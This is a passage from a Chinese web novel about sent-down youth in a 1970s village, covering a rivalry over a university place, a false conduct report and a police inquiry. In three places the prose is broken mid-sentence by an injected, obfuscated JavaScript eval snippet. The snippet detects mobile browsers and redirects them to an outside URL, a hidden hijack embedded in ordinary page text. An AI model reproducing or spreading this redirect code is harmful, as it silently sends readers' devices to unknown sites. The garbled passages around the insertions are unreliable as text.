苏清溪一张面皮涨的紫红,一句话没说,气咻咻地转身走了,房门被她摔得震天响。 李二婶子叹了口气,一个月三块钱对城里人来说不多,对她们家可不少。 老太太看出了儿媳的担忧,开口道:“小梅,以后咱们多养点兔子,咱们家就小牛和小花两个孩子,我们娘俩这么苦熬着,还不是为了他俩吗?穷点没关系,孩子要是跟着学歪了,我俩的苦才是白吃了。” 李二婶子也知道是这么个理,咬了下唇道:“妈,都听你的。”又摸了下小儿和女儿的脸,“来,咱们吃饭,明儿妈给你们煮个鸡蛋。” 第二天一早,苏清溪就搭村里的拖拉机,去了公社,快到中午才回来,拎着一袋子核桃酥,特地把油纸打开,就那么放在靠窗的桌上,外头看得一清二楚。 小花闻到香味,咽了下口水,拉着弟弟出去给兔子割草了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117851|179992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>李二婶子也看到了,知道这是苏清溪故意馋小牛和小花,都被她气笑了,过去拍了拍窗子,“苏知青,你今儿什么时候走?” 苏清醒横了一下眉,“东西收好就走。二婶子,我的米粮收好了没有?” 李二婶子去厨房拿了半小袋大米和一斤左右的山芋片来。 她拿的算多的,苏清溪要挑理也没得挑。 李家老太太这时候出声道:“苏知青,你说我家小牛进了你的房间,房租不付了,那我想问下,我家小花和小牛给你捡柴火烧洗澡水烧了几个月,你是不是该付几个钱?这些柴火拿去供销社卖,也得几个钱吧?” 苏清溪冷着脸,拿出了一块钱来,放在桌子上。 老太太也就没说什么,婆媳俩看着她背着大包裹走了。 等她出了院门,李二婶问道:“妈,她这是搬回知青点吗?” 老太太摇头,“不是,去牛木匠家,钱方华和我说了,苏清溪去住她家那间泥坯房,一个月两块钱。” 李二婶道:“她家那两小子可皮得很。” 老太太道:“那咱们管不到,我明天去问问一勤,有没有知青想来咱家住的?” 俩人正聊着,就听到有人敲门,“二婶子在家吗?” 李二婶忙开门,见外头站着南书,立即道:“南书,苏知青搬走了,去牛木匠家了,刚走呢!” 李南书点头,“二婶,我刚路上看到她了,我是来找你家小牛的。昨儿的事可得谢谢你家小牛,这么小的孩子,就这么有勇气,二婶,我也知道你家里不容易,这个粮票你先拿着,后面苏清溪还我了,我再给你们补上点。” 李二婶眼眶一红,“不用,哎呀,就小孩说几句话,不值当。” 李南书握住她的手,“婶子,怎么不值当?我也不瞒你,苏清溪偷我的信,可不是为了偷什么钱票。我昨天都急死了,要不是小牛说出来信藏在哪,就是公安来了,也未必找到,我是真心实意感谢小牛的。” 又补充道:“如果不是小牛,我的钱票不都给苏清溪昧下去了吗?小牛可帮了我大忙!” 她好说歹说,李二婶才收下她留下的一把粮票和半斤糖果。等人走了,婆媳俩仔细数了下,发现有三十斤呢!这些粮票她们回头托郭家婶子帮忙换掉,怕是能有小二十块钱,婆媳俩都红了眼眶,老太太道:“南书这姑娘,真是个好的,这么些年来,净想着法子帮我们。” 李二婶点头,“好人肯定有福气,南书以后肯定要走大运的。” 李小花和小牛背着一筐草回来,就看到了桌上的糖,有些惊疑地问道:“妈,这糖是哪来的,苏姐姐落下的吗?” 老太太笑道:“不是,南书过来,说给小牛的。” 李小牛的眼睛亮了下,有些不相信地问道:“给我的吗?” 老太太点头,“嗯,南书说你昨天见义勇为了,要感谢你。” 李小牛黝黑的小脸上又泛了一点红色,眼眸子亮晶晶的。这一晚,李小牛做了个梦,他梦见村子里的湖涨了好多水,南书姐姐和清溪姐姐在吵架,两个人拉扯了起来,后来,南书姐姐滑到了湖里,清溪姐姐立即大声喊“救命!” 可是半天都没有人来,等人来的时候,南书姐姐已经醒不过来了。 他梦见自己发了高烧,醒来以后就看到苏清溪来看他,问他那天看到了什么,他说什么也没看到。 第二天一早,李小牛一醒,就光着脚往二妮家跑,等看到南书姐姐在洗脸,他才松了口气。 李南书见他表情有点不对,蹲下来问道:“小牛,怎么了,是不是家里出事儿了?” 小牛摇头,好一会儿才磕绊地说:“南书姐姐,我做了个噩梦,梦见你掉到湖里了。” 5. 第 5 章 李南书听到这话,手里的牙膏“啪”地一下掉到了地上,“什么?我滑到了湖里?”她的声音有些发颤。 小牛这会儿看她没事,心里的恐惧、害怕都没了影子,笑道:“南书姐姐那是我做的梦,你没事就好,我回家去了。” 李南书拉住他的手,轻声道:“小牛,你把昨晚的梦,再给姐姐说一遍好不好?” 小牛乖乖地点头,“好,南书姐姐,我梦见你和苏知青在湖边吵架……”李小牛把昨晚的梦原原本本地述说了一遍。 李南书拉着他的手,一直到他说完,抱了一下他,“谢谢小牛,你在梦里还喊人来救姐姐呢!” “南书姐姐是好人,我肯定要救你的,就是我太小了。” 李南书在他脸颊上亲了一口,“谢谢你,小牛。”她想,在原书里没有提及的地方,她哥哥姐姐是不是来到了北山大队,调查了她去世的真相? 是不是碰到了小牛? 李小牛觉得手背上湿哒哒的,抬头一看,是南书姐姐的眼泪,“南书姐姐,你怎么哭了?” “眼里进沙子了,小牛,快回家去吧,一会你妈妈该找你了。”如果他大一点,他就可以去湖里救南书姐姐了,他也不怕那个梦了。 “好的,南书姐姐再见!” “小牛再见!” 李南书回到房里,越想越觉得,这或许就是她上辈子死亡的真相,争执间落水,苏清溪喊救命,大队里觉得是意外,但是她的家人断定是人为。 徐永兰见她坐在椅子上出神,问道:“南书,不是说要去公社寄信吗?怎么还不收拾东西?” “哦,对,差点忘记了。”她今天是要给家里寄信的,还要去公社问下工农兵大学的事,苏清溪闹这些事,不就是为了这个名额吗?她倒是想看看,到底是哪个学校,有这么大的诱惑力? 等到了邮局,李南书把给哥姐的信寄了后,俩人就一起到了公社,她们刚到院门口,李南书就被公社的黄书记喊住,“哎,南书,你来得正好,我正准备让人给你带话呢,我们马上要开三级干部会议,你和小钱一起办简报,把会议动态和各组讨论情况及时公布出去。” 她和钱新华是常合作的,她负责写文章,钱新华负责钢板和油印,她想了一下,问道;“书记,这次会议要开几天啊?” “四天。” 李南书斟酌了下道:“书记,这任务还挺重的,您看,好不好从参会人员中选一个来和我一起写稿子,我怕我一个人赶不上进度。” 黄书记笑呵呵地道:“行,行,6月4号,你直接来,到那天,我准给你送一个搭档过来。” 李南书趁机问道:“黄书记,我听说今年的工农兵大学名额下来了,有没有什么要求啊?” 黄书记笑道:“今天就要通知你们呢,下乡满三年,有中学毕业证书,都可以报名,后天到公社学区参加考试。” 李南书又问道:“黄书记,这次咱们公社有几个名额啊?” “嗯,今年公社名额有几个,摊到每个生产大队的不多,先报名看看吧,怎么也不会闹去年的乌龙了。”这说的是去年,李南书被推荐上去,最后县里说名额缩减,到底没走成,其中的真相是什么,只有领导们知道了。 是以,今年李南书对这事不抱什么期待。 黄书记又补充道:“我听杨书记说,这次招生的学校还不错,有铁路、卫生专科学校之类的。”杨书记是主管文教的公社副书记。 “哎,好,谢谢黄书记。” 等黄书记走后,徐永兰有些羡慕地道:“南书,你和公社领导处得真好,像朋友一样。”她们平时来办事,工作人员都爱答不理的,来之前她都做了好一通心理建设,怕又要挨冷脸。 李南书笑道:“兰姐,那是黄书记人好,总是笑呵呵的,我们都不怕他。” 徐永兰摇头,真心夸赞她道:“不,还是你稿子写得好,写简报领导信任,写文章能上报纸,能为公社带来荣耀。”南书的这个临时通讯员工作,苏清溪就曾想方设法地顶替,在公社里跑了好些天,也确实顶替南书做了一次简报,但是半道儿黄书记又把南书喊了回去。 后来琼玉偷偷和她说,黄书记觉得苏清溪写的花哨的很,什么“秋蝉鸣唱”“桂花飘香”之类的描述过多,说“还是小李写的对脾胃些。”那回可把苏清溪气得半死。 徐永兰笑道:“要是苏清溪知道你又到公社出简报,怕是又得气一回。” 李南书想,苏清溪这时候大概正为筹钱还她的事儿发愁,怕是没空理会这些小事。 好巧不巧,等她们俩到学区办公室报名的时候,李南书一眼就看到了排在前面的苏清溪,正在和一个女知青聊天。 那姑娘个子不高,瘦瘦的,看人的时候下巴微抬,一副很骄傲的样子,正说着:“我爸说,能上大学的知青,首先得劳动好、人品好、觉悟高,其次是学业也不能拖后腿……”她侃侃而谈的,似乎这次工农兵大学招生,是她爸做主的一样。 周围排队的人,都朝她看着,徐永兰小声问道:“她爸是谁啊?” 旁边一个男知青轻声回道:“上面的大首长。” 徐永兰压低了声音,“京市的?” 那男知青点了点头。 徐永兰道:“这咋还来和我们抢名额呢?” 李南书对这种事已经有预料,并不是很意外,轻声道:“她不和我们抢,她去的肯定是大学,我们能抢的是中专科。” 旁边的男知青看了一眼李南书,“这位知青看着有些面熟,你们是哪个大队的啊?” 李南书回道:“你好,我是北山大队的李南书。” 男知青立即笑道:“你好,我是盛湖大队的卢东樾,申城来的知青,久闻李同志大名。”见她似乎不明白,补充道:“北山的梁小梅是我表姨,小牛算是我表弟。” 李南书反应了一下,才知道李二婶是他表姨,忙伸手道:“卢同志,你好,你好。”又笑道:“你这名字,取得真像我家的名字,我大哥叫东淮,我二哥叫东和。” 卢东樾也笑了,“我叫东樾,木字旁的樾。”他个子高高的,浓眉大眼,棱角分明,笑起来的时候还挺好看。 顿了一下,他又问道:“你们一会回去吗?我今天也想去看看我表姨。” 李南书道:“那一会填好了表,我们一起走?我们大队的拖拉机一会经过这。” “哎,好,好,就是想和你们结个伴。” 前头的苏清溪听到李南书的声音,回头看了一眼,微微翻了个白眼。 首长的女儿问道:“怎么了,你认识?” “嗯,我们村的知青,厉害着呢,这里搭搭,那里搭搭的。” 首长的女儿也朝后头看了一眼,立即明白了她的意思,“这是作风问题!” 苏清溪愣了一下,忙点头道:“可不是嘛,”又怕后头的李南书听见,凑到千金耳边嘀咕了几句。说完,还挑衅地看了一眼李南书。 李南书压根没注意到,这会儿轮到她填表格了。等填好了报名表,几人就一起在公社门口等小许的拖拉机,李南书问卢东樾,“你怎么知道那姑娘是首长家的千金?” 卢东樾笑道:“我经常来公社帮忙,和这边领导比较熟,李知青,我在这边开会的时候,看到过你。” 南书笑道:“那马上开的三级干部会议,你来不来?” “大概得来。” “那咱们还得见面,我负责出会议简报。” 卢东樾笑道:“那还真是巧,咱们今天不认识,改天也得认识。”又问了几句徐永兰的情况。 苏清溪是在拖拉机到了的前两分钟来的,在大门另一边站着等。 她现在一看到李南书,心里火就往上拱,几封信害她损失巨大,如果能拿到工农兵大学名额,回头还得往大队长家多赛点东西,让大队长在她的政审表上高抬贵手。 李南书这么一折腾,她两百块钱没有了。不过,她也给李南书埋了一个炸`雷,就看李南书到时候受不受得住! 等拖拉机来了,苏清溪最后一个上去,离李南书远远的,。 李南书和卢东樾在村口也就分开了,等回郭家的路上,她后知后觉地反应过来,问徐永兰道:“兰姐,卢东樾不是知青吗?那他怎么能开公社三级干部会议?” 徐永兰道:“那至少得是个大队干部吧?那还挺厉害的。” 李南书点头,“是挺厉害。”他们知青很少能做到大队以上的干部。 两个人也就抛了这个话题没提,“哎,兰姐,我去沈叔家找下骆一勤,和他说下工农兵学员报名考试的事。” 李南书到沈家的时候,骆一勤正在帮沈家劈柴,看到她来,笑问道:“南书,身体好了吗?” “好了,队长,我来是和你说工农兵大学的事,今年招生有点变化,公社里准备考试……” 骆一勤苦笑了下,打断她道:“南书,我上不了,再怎么变化,政审还得审的,我……我爸是专政对象,我没有机会的。”说到后面,骆一勤的声音很低很低。 李南书还是听清了,她喉咙忽有些干涩,“队长,不然先考考试试?” 骆一勤摇头,“不去了,南书,谢谢你跑一趟,你好好准备,应该没问题。” 从沈家离开的时候,李南书的脚像灌了铅一样,骆一勤来了北山村三年,因为热心、能干,不到半年,就被她们选为队长,平时什么苦活、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117852|179992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 累活,都是他顶在前头,她以为他是在争表现,想早点离开这里。 原来,早就不抱希望了吗?他这么努力,或许只是为了不受村民和知青的歧视?想到这里,又返回去和骆一勤道:“队长,今年改一点,明年改一点,迟早你担心的问题不是问题。” 骆一勤笑笑,应了一个“好!” 李南书这才走了,骆一勤望着她的背影,抬手擦了一下脸上的汗,又低着头,闷不做声地砍柴,几滴雨珠滴落在柴禾上。 ** 6月2日,李南书和徐永兰、贺琼玉一起去了公社学区参加考试,所谓的考试就是在一间教室里,上面有人念题目,会的人就举手作答。 题目都不是很难,每个题目都有很多人举手,李南书和卢东樾被喊起来5次,徐永兰、贺琼玉、骆一勤被喊起来2次,苏清溪被喊起来3次,次数最多的是几个他们不认识的知青。 等考完试,苏清溪红着眼眶,瞪了一眼李南书,她心里明白,这场考试不过是个形式而已,他们大队的名额就是李南书的。 徐永兰也有点失落,叹了口气道:“也算是过来见识一下了。” 卢东樾安慰她道:“这个工农兵大学年年招生,今年不行还有明年呢,再说,今年也就未必不行。” 徐永兰笑笑:“借你吉言。” 李南书原以为考试结果要等几天才出来,没想到3号,大队长就喊她去公社找杨书记。 她一到公社大门,就见里头围着好几个知青,人人手上一张表格,杨书记见她过来,也拿了一张表给她,“李南书,这是芜市师专的登记表,你填好了交到我办公室来。” 李南书心里一喜,她有资格上大学了? 等把表接过来一看,心立时凉了一截,“芜市师范专科学校体育系招生表”,天呐,体育系? 卢东樾看到她拿着一张表,站在那里,立即过去打招呼道:“李知青,怎么了?” 李南书轻声道:“我这是体育专业。” 卢东樾接过来一看,皱眉道:“怎么不是申城?” “嗯?你是申城?” 卢东樾点头,“我是申城工学院,李知青,你等我一下,我去帮你问问杨书记。”说着,就匆匆地走了。 李南书也忙跟过去,看能不能换个专业。 刚到杨书记办公室门口,就听到里头传来争吵声,“东樾,这工农兵大学名额是很珍贵的,多少人求一个名额求不到,你们怎么还挑三拣四的?” 卢东樾道:“杨书记,先前黄书记那边说,这次的工农兵大学推荐要结合知青们的特长,李南书同志在大队里搞兔子养殖,帮村民增收扩大食品源,还让公社出面收购北山的茶叶,再卖入供销社,她明明很有想法,应该去读农业或者经济。” 杨书记摆摆手,压低了声音道:“东樾,我也不瞒你,我这儿的工作不好做,这一个工农兵大学的名额,还是我严防死守给李南书留下来的。” 卢东樾眼皮抬了一下,“杨书记,我们也不为难您,您再抬抬手,告诉我们是哪里出了问题,我们自己去解决。” 杨书记伸手在桌上写了俩个字。 迈了一只脚进来的李南书刚好也看到了,“作风”。 她觉得有点可笑,她一个清清白白,连对象都没有的姑娘,怎么就犯作风问题了?不由出声问道:“杨书记,是有人举报我了吗?” 杨书记叹了一声,“哎呀,李同志,你的人品我们大家都知道的,但是吧,这举报材料厚的很,我们也不能坐视不理,我和老黄两个想着给你压下来,可这公社毕竟不是我们的一言堂,我们能做的,只有这么多了。” 李南书想,公社解决不了,她就去县里问。 杨书记似乎看出了她的想法,“李知青,是联名信,我建议你不要把事情闹大,到时候不好收场,你现在拿着这芜市师专的学员名额,高高兴兴地上大学不好吗?” 李南书觉得不好,很不好,她绝不可能背着这样不清白的名声,离开北山大队。她心里知道是谁干的事。 当即就往村里去。 卢东樾又去找了黄书记,问了这事,黄书记道:“小卢,我私下和你说一句,南书是得罪人了,去年她没走掉,我心里一直觉得对不住她,这回,我真是想办法了。” “书记,那封举报信,我能看看吗?” 黄书记摇头,“小卢,这不符合规矩。” 卢东樾这时候也觉得有点可笑,一封莫名其妙,甚至是莫须有的举报信,就要左右一个青年的前途? 等他从黄书记办公室出来,想起来李南书那样急匆匆的回去,别发生了什么事,立即跟公社里的人借了一辆自行车追了过去。 6. 第 6 章 李南书这边,刚好搭上了贺琼玉的自行车,路上贺琼玉问她预备怎么办? 李南书道:“大概得鱼死网破。”话一出口,她忽而想起来原书里的情节,原主是不是也是在这样盛怒的情况下,去找苏清溪对质,然后发生了意外? 就是今天? 她忽而有了主意。明知是诬陷,公社领导们也当看不见,那如果是人命呢?他们也不查吗? 贺琼玉把她放在牛木匠家门口,提醒她道:“南书,别意气用事。” 李南书“嗯”了一声,接着就抬手“哐哐哐”地敲门,牛木匠正在修理桌腿,他婆娘钱方华在晾晒衣服,见她气冲冲的,俩口子被唬了一跳,“南书,出什么事了吗?” 李南书努力压制着情绪,“叔,婶,苏清溪在不在?” 钱方华道:“不在,刚去湖边洗衣服了,你要不进来等一会儿……” 她话还没说完,李南书就道了谢,往村子中央的湖边去,远远地就看见苏清溪在那洗衣服。今儿天气有些闷热,湖边没什么人,大树下有两三个小孩在捡着石子玩,伴着苏清溪“梆梆梆”地在石板上捶打衣服的声音。 苏清溪没发觉来人,她正盘算着一会回去,和牛家婶子商量商量帮她洗衣服的事,以前她住在李家的时候,李老太太经常顺手就把她衣服给洗了,牛家婶子丝毫没有这想法一样。 她正嘀咕着,忽然装衣服的小木桶被人踢了一脚,“咕噜噜”地滚到了湖里,衣服全沉了进去,她手忙脚乱地去捞,抬头发现是李南书,皱着眉道:“李南书,你发什么疯?” 李南书望着她的眼睛,“苏清溪,是你干得对不对?” 苏清溪立马就明白发生了什么事,微微低了眉,装作听不懂地道:“李南书,我干了什么?我这衣服要是掉了,你是准备重新给我买吗?”这是她积了几天的衣服,再不洗就没得换了。 李南书压根不给她装傻的机会,“苏清溪,那封说我有作风问题的举报信,是你干的吧?你还找了谁签名?” 苏清溪皱了皱眉,“你别逮着人就乱咬,我可什么都不知道。你被举报是你自己的事,你凭什么说是我干的?” 李南书见她一副死猪不怕开水烫的样子,气笑了,“苏清溪,你不知道吗?上次是我手下留情,你既然对我下死手,也别怪我下手狠。” 如果她背着这个作风问题离开北山大队,未来几年里,怕都会杯弓蛇影,有一点风吹草动,都要担惊受怕,更别说,这个问题可能对她家人产生的影响。 她说完就要走,苏清溪一把拉住了她,沉声问道:“李南书,你要干什么?” 李南书想扒拉开她的手,苏清溪却抓得死紧,“你说清楚,你要干什么?” “怎么,现在害怕了,我不发疯,你当我好欺负呢?等报复了你,我就拿着芜市师专的名额去上大学,学体育怎么了,以后不也照样留在城里,总不会比这乡下苦。”李南书“哼”了一声,接着道:“你呢,一辈子也别想离开这小山村,就在这里发霉发烂吧!” 苏清溪的心口“砰砰”直跳,她几乎是一瞬间想起来,她还有一张借条在李南书那里,那不仅仅是借条,也是证据。什么和解,李南书那会儿就给她在这埋坑了! 两个人正争执着,远处玩耍的李小牛忽然看到了,梦里的场景似乎与眼前的景象重叠,小小人儿立即转头往村里喊:“救命啊,快来人救命啊~” 卢东樾刚好骑车过来,忙问道:“小牛,怎么了?” “南书姐姐掉湖里了,快死了,哥,你快去救她,呜呜……”小牛越说越着急,怎么梦里的事还是发生了呢? 卢东樾吓一跳,以为李南书跳湖了,立即转了车头往湖边跑。 他到的时候,刚好看到李南书被苏清溪推得脚下一个踉跄,等稳住了身形,就朝他这边跑过来,口里喊着“救命!” 卢东樾拉住了她胳膊,“李南书,怎么了?” 李南书没有理会他,一个劲的往前跑,一直跑到刘大队长家里,后面卢东樾、苏清溪,还有小牛、小花、小二妮都跟着她跑。 李南书一到大队长家,就哭道:“大队长,救命,苏清溪要害我,她一个劲把我往湖里拉,要不是我跑得快,肯定就遭了她毒手,”又似自顾自地道:“不行,我要报案!” 刘山峰都给她说懵了,但是这姑娘吓得脸色惨白,浑身发抖,不像说谎的样子,“南书,到底发生了什么,你慢慢说。” 李南书摇头,朝卢东樾走过去,“卢同志,你是不是骑自行车来的?麻烦你把我送到公社大院去,我要找公安特派员报案。” 卢东樾不清楚她要做什么,但还是点头,让她上车。 等苏清溪追过来的时候,卢东樾已经带李南书跑远了。 刘山峰察觉到事态严重,问苏清溪到底做了什么? 苏清溪喃喃地道:“我什么也没做,我在那洗衣服呢,她就冲过来,把我的木桶踢翻,还把我一顿骂……” 她身后的李小牛流着眼泪,大声喊道:“你要淹死南书姐姐,我们都看到了,大队长,她要淹死南书姐姐!”李小牛喊得歇斯底里,小脸上又是眼泪又是鼻涕。 刘山峰家的婆娘把小牛一把抱了起来,“乖孩子,不怕,不怕,婶婶伯伯都在呢,不怕啊!”边说,边往后退了几步,把孩子和苏清溪隔开了些。 苏清溪气得都要哭,“我真得什么都没干!”李南书的心怎么那么黑,她就推搡了两下,就要给她戴上罪犯的帽子? 对上一双双质疑、冷淡的眼睛,她忽然身上有些发冷,明白了李南书刚才的气愤,原来有嘴说不清是这种感觉。 有那么一瞬间,她意识到自己似乎走了一步错棋。 李南书却是一点不给她后悔的机会,不到十几分钟,她就到了公社大院,找到了县公安局特派到公社来的王特派员。 王特派员原先就认识李南书,这会儿见她脸色不是很好,问道:“李同志,这是怎么了?” 李南书眼眶含泪地道:“王特派员,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117853|179992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回您可得救我,我差点就被人拖到湖里淹死了。” 王特派员立即正色道:“这话怎么说?” 李南书把她和苏清溪的矛盾简略说了一下,末了着重提了最近苏清溪试图报复她,偷盗她信的事。 接着道:“今儿,杨书记喊我来填写工农兵学员表格,我意外得知有人举报了我,说我有作风问题,可我连对象都没有,咋犯作风问题?这事您去我们大队打听就知道了,我怀疑是苏清溪故态复萌,恶意打击报复我。” 顿了一下,又道:“我去找她对质,她知道我还能上工农兵大学,立即紧紧地拉着我的胳膊,把我往湖里推,我们那湖大得很,可是死过人的,还好卢同志赶来救了我,我就立即来报案了。” 王特派员一一登记了下来,并道:“李同志,你说的这事,如果有人证,我们是可以立案调查的。” “有,我从她手里挣脱,跑着喊救命的时候,我们村很多人都看到了,您可以去问问。” ** 从大队长家回来,苏清溪就一直心神不宁的,不知道李南书到底和公安特派员说什么,她想去找她的新朋友孔真真帮忙,又怕一会李南书带人来搜屋子,正进退两难着,听到牛家门口传来陌生的声音。 苏清溪出来一看,就见李南书带着两位公安来了,指着她道:“公安同志,她就是苏清溪。” 那高个的公安和她道:“苏同志,我们接到群众举报,现有一桩故意谋`杀案需要你配合调查。” 苏清溪的脑子“嗡嗡嗡”的,怎么说她蓄意杀人?她立即有些激动地道:“公安同志,这是污蔑,我没有!” 王特派员看了她一眼,“苏同志,你先冷静一下,如果没有,我们不会诬赖你。现在请你解释一下,为什么要偷李南书的书信,你的动机是什么?” 苏清溪不记得自己回答的是什么,隔了一会儿,她连特派员问了她什么问题,都听不见了,她知道自己当下的状态太危险了。 后背上的冷汗已经将衣服湿透,在这初夏的上午,她真切地觉察到了冷意。她抬头看了一眼面前的两位特派员,忽而大声道:“公安同志,我坦白!” 两位特派员对视了一眼,换了一张纸记录,“好,你说。” “我没有杀`害李南书的想法,我只是举报她有作风问题,这事被李南书知道后,她恶意报复我,我们只是发生争执,在湖边拉扯了几下。” 王特派员问道:“苏同志,你说她恶意报复你,你能举例证明吗?” 苏清溪想了一下,“她吓唬我,说我一辈子走不出北山村,只能在这里发霉发烂,她让我等着,她一定会报复我……” “苏同志,那请你再说一下,为什么举报她?你的证据是哪些?” 特派员的问题特别多,从上午十点问到了将近一点,他们一走,苏清溪就瘫坐在了地上,她第一次清晰地认知到,原来李南书也会下狠手,且不给人留一点活路。 她有些苦涩地想,这算不算自尝恶果? 7. 第 7 章 6月4日,李南书照常去公社出简报,会议前,黄书记和她道:“南书,昨天王特派员和我们了解了你的情况,你先安心工作,你的问题应该很快能解决。” 李南书知道不会那么简单,还是道了谢,又问道:“黄书记,您先前说今天给我安排一位同志,帮忙一起写简报的,您没忘吧?” 黄书记笑道:“没忘没忘,呐,这不就来了吗?你也认识。”说着,朝大门口的人挥手。 李南书顺着他的手看过去,就见穿着一身白衬衫、黑裤子的卢东樾朝这边过来,似乎因为今天开干部会议,他的衣服比较新,穿在身上显得人格外挺拔些。 等人近了,黄书记拍拍卢东樾的肩膀,和李南书道:“南书,听说你俩才认识没几天?你怕是还不知道吧?东樾可能干了,原先是盛湖大队的会计,上个月入了党,被调到公社武装部来,他以前也做过通讯员,你有什么活,尽管指派他。” 李南书笑着应下,等黄书记走了,和卢东樾道:“卢同志,昨天谢谢你为我说话,还劳累你跑了一趟我们村。” 卢东樾道:“没事,都是知青,互相帮个忙。李同志,你也别急,事情闹到了王特派员这里,肯定能给你解决。” 李南书也知道这事急不得,公安调查也需要时间,想了下,又问道:“我以前在公社好像没怎么见过你?” 卢东樾笑道:“我经常被派去带队修水渠,后来又被派去带队修水库,公社这边来的不多。” 李南书道:“那你的活可不轻松,比我们累多了。”她这话是有感而发,她们知青往上走可不容易。 石狮公社的村民一般自祖辈起,就是在这住的,往上捋一捋,各家都沾亲带故的,他们回乡知青当领导,有时候起纷争,就是看在他家长辈或姻亲面上,村民也不会闹得太难看。 但对外地知青,村民可不会给面子。特别像修水渠、水库这些都是重劳力活,卢东樾要想让民工们服气,不仅得立身正,还得比他们更能干一些,更能受苦受累。 他看起来也不大,至多比她大两三岁。 李南书望着他道:“我现在忽然能理解,你为什么可以拿到申城工学院的名额了,确实是做了很多实事。” 卢东樾打趣道:“那你先前是怎么想的,觉得我走后门了?” 见李南书有些发窘,卢东樾笑道:“也差不多,我是在公社和县领导跟前混了个脸熟,”他又转了话题道:“南书,昨天那个女知青,就是写举报信的吗?”昨天公安在,李南书情绪波动也大,他没好多问。 南书点头,“嗯,为了这一个工农兵大学的名额,她闹了很多事。” 卢东樾安慰她道:“没事,清者自清,王特派员他们又展开调查了,很快能还你一个清白。” 李南书不以为意地道:“你不用安慰我,这点困难,打不倒我的。”蓄意谋杀什么的,是她临时胡诌的,肯定不成立,人证也不充分,但公安只要着手去查,就能发现苏清溪那封举报信是完完全全的诬陷。 这个罪名,苏清溪可赖不掉。 公社不给她查,那就想法子让公安来查。她无法自证清白,那就让苏清溪也来试试看,怎么才能破局,证明自己的清白。 卢东樾见她眼神坚定,一副无所畏惧的样子,忽然觉得这姑娘看起来很有气派,心弦微微动了一下。 不一会儿,负责简报油印的钱新华也来了,他年长些,人有些胖,一早上就热得一头汗,边擦汗边道:“哎呦,今天东樾也来了,我们这简报小组眼看壮大不少啊!” 卢东樾笑笑,“钱哥说笑了,还要你多帮帮忙。” 钱新华道:“知道,知道,就是你不来,我和南书也配合得好得很,放心。不过,我们年少有为的卢副主任过来,我们这简报小组肯定能再创佳绩!” 大家都给他逗笑了。 上午八点钟,会议开始,第一天的会议主要是讨论阳江水库的事,公社提出把知青也纳入修水库的民工行列,咨询各大队的意见,以及后续的补助怎么定额等。 李南书一边记一边想,怪不得把卢东樾分到简报小组来,这事和他息息相关呢! 她写好通讯稿子,让卢东樾帮着修改了一下,卢东樾看着看着,就站了起来,只见上面写着:“阳江水库修筑在阳、渔两县交界的崇山峻岭之中,位于阳江上游,需采用混凝土双曲拱坝。总长预计16公里的总干渠……工程巨大,难题很多,现公社预备增加民工人数,加快工程进度……” 李南书见他皱着眉,问道:“卢主任,有什么问题吗?” 卢东樾摇头道:“没有,南书,怪不得黄书记喊我给你打下手,你写通讯真是简洁、易懂。” 李南书有些好笑地问道:“卢主任,你这是夸我,还是夸你自己?” 卢东樾还要客套几句,李南书打断他道:“卢主任,咱们就事论事,赶进度最重要,你说呢?” 卢东樾哑然,认真改起了稿子,增加了几句阳江水库目前的建设情况,心里却是对李南书有些钦佩起来,明明看着不大的姑娘,做事却利落得很。 改好以后,又拿给李南书看一遍,俩人都确认没问题,再誊抄一遍,交由钱新华油印。 等简报排版结束,李南书准备回去,卢东樾提出骑车送她,李南书拒绝道:“谢谢卢主任好意,但我最近还顶着个作风问题,不好连累人。” 卢东樾也就没坚持,“那李南书同志,明天再见!”又补充道:“要不,还是喊我卢知青,或者同志,喊名字也行,听你喊主任感觉有点别扭。” 李南书笑道:“是不是觉得,自个都和我们不是一个阶层的?行,卢同志,明天再见!” *** 李南书到村里的时候,已经是五点了,太阳敛了好些光焰,晚风吹来,让人都觉得精神放松了一些。 等到了郭家,就见兰姐又在收东西,“哎,南书,你回来了,骆一勤说这两天放晴了,让我们想回知青点的就先回去。” “那行,我们今天就先回去,也不好一直打扰郭婶子。” 小二妮还有点不舍得她们,郭婶子也留她们多住几天,李南书道:“婶子,我们在这,你每天又是鸡蛋,又是小炒的,我都怕把你家米缸吃见底了。” 徐永兰也道:“婶子,这几天真谢谢你,给你和小二妮添了不少麻烦。” 小二妮忙道:“才没有,南书姐姐、徐姐姐,你们来我家住,我可高兴了,小花和小牛都羡慕我呢!” 李南书轻轻捏了下她的脸蛋,“真的吗?我们小二妮可真会说话。有空来知青点找姐姐玩好不好?” “好!” 